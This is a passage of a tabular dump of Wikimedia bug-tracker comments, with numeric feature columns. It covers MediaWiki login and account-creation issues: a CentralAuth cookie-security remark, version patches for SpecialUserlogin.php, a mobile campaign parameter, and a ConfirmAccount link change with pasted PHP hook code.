I'm also a little suspicious that SpecialCentralAutoLogin::getCentralSession() looks directly at the user preference for cookie security instead of calling User::requiresHTTPS(), which would check if wgSecureLogin is disabled.",,,1381946028,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c3,1,True,,,-90,True,0.0,0.0,0.0,3.0,3.0,4.0,0.0,0.0,0.0,1.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,11.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.0,3.0,11.0,4.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,8.0,16.0,3.0,0.0,0.0,0.0,8.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.533333333333333,0.7866666666666666,"I'm not able to reproduce this in development, but I do see it in beta.

It seems like SUL2 isn't configured correctly in beta, so I'll probably try and fix that first.

I'm also a little suspicious that SpecialCentralAutoLogin::getCentralSession() looks directly at the user preference for cookie security instead of calling User::requiresHTTPS(), which would check if wgSecureLogin is disabled."
57640,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Needs patches for other versions - only got 1.17 and 1.20 at the moment, so it probably needs 1.19, 1.21, and 1.22, especially as those are all of the current releases.

Uncyclomedia has the file patched for 1.21, but nobody exported an actual patch file and I'm not sure it actually works, either - seems to have worked for uncyclopedia, but testing failed for ?pedia?


(From what I understand, this is the patch to make it prevent the creation of accounts with names that folks might otherwise try to import. If I'm wrong about this someone smack me.)

--------------------------
**Version**: master
**Severity**: normal",Needs Triage,90.0,1381525920,1406357092.0,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,False,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_description,resolved,True,c3,1,False,False,True,-90,True,0.5,0.5,0.0,0.0,0.5,3.5,1.0,0.0,0.0,0.5,1.0,1.0,0.0,0.5,0.0,2.5,0.0,3.5,10.0,1.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,5.5,0.5,1.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.5,0.0,0.0,8.5,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,3.5,1.0,6.0,1.0,2.5,6.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,4.5,10.0,2.0,1.5,0.0,0.0,4.5,0.0,1.5,0.5,0.5,0.0,0.0,0.0,0.0,3.8960711150131693,0.7703028972783144,"Needs patches for other versions - only got 1.17 and 1.20 at the moment, so it probably needs 1.19, 1.21, and 1.22, especially as those are all of the current releases.

Uncyclomedia has the file patched for 1.21, but nobody exported an actual patch file and I'm not sure it actually works, either - seems to have worked for uncyclopedia, but testing failed for ?pedia?


(From what I understand, this is the patch to make it prevent the creation of accounts with names that folks might otherwise try to import. If I'm wrong about this someone smack me.)

--------------------------
**Version**: master
**Severity**: normal"
2374918,"Add patches for SpecialUserlogin.php for mw1.21, 1.23",Oops,,,1720574743,,PHID-USER-escte3psz5yfd2nj3jzr,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c3,3,True,,,470,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Oops
2374912,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change #1053081 had a related patch set uploaded (by Pppery; author: Pppery):
%%%[mediawiki/extensions/timeline@master] ISO 8601 support%%%
https://gerrit.wikimedia.org/r/1053081",,,1720573723,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c3,3,False,,,470,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,9.0,6.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,4.121212121212121,0.8484848484848485,"Change #1053081 had a related patch set uploaded (by Pppery; author: Pppery):
%%%[mediawiki/extensions/timeline@master] ISO 8601 support%%%
GERRIT_URL"
270879,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","I filed bug 68607 to stop needing patches.

1.19 is going to be EOL soon, so I guess we don't need that. Uncyclomedia skipped 1.22, so a core patch for it isn't super important.",,,1406357092,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c3,1,True,,,-49,True,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,0.0,12.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,10.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,3.4523809523809526,0.8095238095238095,"I filed bug 68607 to stop needing patches.

1.19 is going to be EOL soon, so I guess we don't need that. Uncyclomedia skipped 1.22, so a core patch for it isn't super important."
270873,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change 148409 merged by Legoktm:
Core patch for 1.23.

https://gerrit.wikimedia.org/r/148409",,,1406356911,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c3,1,False,,,-49,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,"Change 148409 merged by Legoktm:
Core patch for 1.23.

GERRIT_URL"
270867,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change 148409 had a related patch set uploaded by Jack Phoenix:
Core patch for 1.23.

https://gerrit.wikimedia.org/r/148409",,,1406048046,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c3,1,False,,,-50,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.15,0.95,"Change 148409 had a related patch set uploaded by Jack Phoenix:
Core patch for 1.23.

GERRIT_URL"
270863,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Still need 1.19, 1.22.",,,1384914204,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c3,1,True,,,-85,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,1.0,"Still need 1.19, 1.22."
270859,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change 87918 merged by Isarra:
Add patch for 1.21.2

https://gerrit.wikimedia.org/r/87918",,,1384914151,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c3,1,False,,,-85,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3076923076923075,1.0,"Change 87918 merged by Isarra:
Add patch for 1.21.2

GERRIT_URL"
270854,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change 87918 had a related patch set uploaded by Legoktm:
Add patch for 1.21.2

https://gerrit.wikimedia.org/r/87918",,,1384913873,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c3,1,False,,,-85,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9444444444444444,"Change 87918 had a related patch set uploaded by Legoktm:
Add patch for 1.21.2

GERRIT_URL"
57474,campaign parameter not passed in CTAs when user clicks login,"It only seems to be passed when you click sign up. What is stranger is if you inspect the URL of the login link it is there - it somehow gets stripped on click ing it.

Expected:
Whilst logged out click on edit button
CTA shows with login and sign up buttons
Click login
Address bar URL has campaign=mobile_editPageActionCta in it

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1381255620,1381446243.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-fqpx3hoskia4wpi3onwj,task_description,declined,True,c3,1,True,False,True,-91,True,0.0,0.0,0.0,1.0,0.0,3.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,11.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,6.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,12.0,2.0,1.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,11.0,7.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,3.898876404494382,0.651685393258427,"It only seems to be passed when you click sign up. What is stranger is if you inspect the URL of the login link it is there - it somehow gets stripped on click ing it.

Expected:
Whilst logged out click on edit button
CTA shows with login and sign up buttons
Click login
Address bar URL has campaign=mobile_editPageActionCta in it

--------------------------
**Version**: unspecified
**Severity**: normal"
260715,campaign parameter not passed in CTAs when user clicks login,Cannot replicate any more. Odd.,,,1381446243,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-fqpx3hoskia4wpi3onwj,task_subcomment,,True,c3,1,True,,,-90,True,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,3.375,0.875,Cannot replicate any more. Odd.
260712,campaign parameter not passed in CTAs when user clicks login,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1295",,,1381255700,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fqpx3hoskia4wpi3onwj,task_subcomment,,True,c3,1,False,,,-91,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
57468,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Hi please update login and create account buttons because the layout and look of them was changed in 1.20 when they separated them into create account and then login so please update the looks and the create account could be redirect to special request account. I am running Mediawiki 1.22 Wmf 20. I was told to file a bug here at https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Create_account_/_login_in_extension:confirmaccount

--------------------------
**Version**: unspecified
**Severity**: trivial
**Whiteboard**: aklapper-moreinfo",Needs Triage,90.0,1381247520,1398183479.0,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,False,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_description,declined,True,c3,1,True,False,True,-91,True,0.0,0.0,0.0,2.0,0.0,5.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,8.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,10.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,5.0,8.0,2.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,2.0,1.0,0.0,0.0,0.0,4.119565217391305,0.6413043478260869,"Hi please update login and create account buttons because the layout and look of them was changed in 1.20 when they separated them into create account and then login so please update the looks and the create account could be redirect to special request account. I am running Mediawiki 1.22 Wmf 20. I was told to file a bug here at URL

--------------------------
**Version**: unspecified
**Severity**: trivial
**Whiteboard**: aklapper-moreinfo"
260291,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","(In reply to paladox2015 from comment #9)
> hi I am trying to use the uploader but I doint know how to use it I have a
> mediawiki account but it says that it is not a unified diff patch

Could you please use proper punctuation as it makes text way more readable?
See https://en.wikipedia.org/wiki/Punctuation for the general concept.

""man diff"" explains how to create a unified patch, and the stuff you uploaded here is not a patch, see https://en.wikipedia.org/wiki/Patch_%28Unix%29
(Discussing this is out of scope for this specific bug report, and this bug report is closed anyway.)",,,1400427525,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-59,True,0.0,0.0,0.0,1.0,1.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,2.0,1.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,3.0,9.0,1.0,2.0,8.0,0.0,0.0,0.0,1.0,5.0,1.0,1.0,0.0,3.0,10.0,3.0,1.0,2.0,0.0,3.0,0.0,1.0,2.0,0.0,1.0,1.0,0.0,0.0,3.63953488372093,0.7093023255813954,"(In reply to paladox2015 from comment #9)
QUOTE
QUOTE

Could you please use proper punctuation as it makes text way more readable?
See URL for the general concept.

""man diff"" explains how to create a unified patch, and the stuff you uploaded here is not a patch, see URL
(Discussing this is out of scope for this specific bug report, and this bug report is closed anyway.)"
260284,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Created attachment 15429
ingor the 1st patch this is the updated 1st patch

**Attached**: {F12035}",,,1400414292,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-59,True,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,0.75,"Created attachment 15429
ingor the 1st patch this is the updated 1st patch

**Attached**: {F12035}"
260276,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Created attachment 15428
2nd patch

this is the 2nd patch read details for the files located

**Attached**: {F12034}",,,1400414048,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-59,True,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.642857142857143,0.75,"Created attachment 15428
2nd patch

this is the 2nd patch read details for the files located

**Attached**: {F12034}"
260268,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Created attachment 15427
this is the  first code change

//attachment file_55468.txt ignored as obsolete//",,,1400413936,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-59,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.588235294117647,1.0,"Created attachment 15427
this is the  first code change

//attachment file_55468.txt ignored as obsolete//"
260260,"Update ""Create account"" / ""login"" buttons in ConfirmAccount",hi I am trying to use the uploader but I doint know how to use it I have a mediawiki account but it says that it is not a unified diff patch,,,1400413837,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-59,True,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,9.0,6.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,19.0,9.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,3.40625,0.75,hi I am trying to use the uploader but I doint know how to use it I have a mediawiki account but it says that it is not a unified diff patch
260253,"Update ""Create account"" / ""login"" buttons in ConfirmAccount",Ok thanks.,,,1400412095,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-59,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Ok thanks.
260250,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","You are welcome to use Developer access
  https://www.mediawiki.org/wiki/Developer_access
to submit this as a patch (Git branch) directly into Gerrit:
  https://www.mediawiki.org/wiki/Git/Tutorial

Putting your branch in Git makes it easier to review it quickly. If you don't want to set up Git/Gerrit, you can also use https://tools.wmflabs.org/gerrit-patch-uploader/",,,1400337901,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-59,True,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,16.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,21.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,16.0,9.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.491228070175439,0.7719298245614035,"You are welcome to use Developer access
  URL
to submit this as a patch (Git branch) directly into Gerrit:
  URL

Putting your branch in Git makes it easier to review it quickly. If you don't want to set up Git/Gerrit, you can also use URL"
260245,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","hi please add the following to this https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FConfirmAccount/8371f282499d2f715a56ed18b6a9fa0b0e8e3e8b/frontend%2FConfirmAccountUI.hooks.php please

the link is for request account and would be next to login 

$wgHooks['PersonalUrls'][] = 'onPersonalUrls';


function onPersonalUrls( array &$personal_urls, Title $title, SkinTemplate $skin  ) {
    // Add a link to Special:RequestAccount if a link exists for login
    if ( isset( $personal_urls['login'] ) || isset( $personal_urls['anonlogin'] ) ) {
            $personal_urls['createaccount'] = array(
                'text' => wfMessage( 'requestaccount' )->text(),
                'href' => SpecialPage::getTitleFor( 'RequestAccount' )->getFullURL()
            );
    }
    return true;
}

and please also change this code in that link it will change the name of link from login/create account to login 


   public static function setRequestLoginLinks( array &$personal_urls, &$title ) {
 

        if ( isset( $personal_urls['anonlogin'] ) ) {
 

            $personal_urls['anonlogin']['text'] = wfMessage( 'login' )->escaped();
 

        } elseif ( isset( $personal_urls['login'] ) ) {
 

            $personal_urls['login']['text'] = wfMessage( 'login' )->escaped();
 

        }
 

        return true;
 

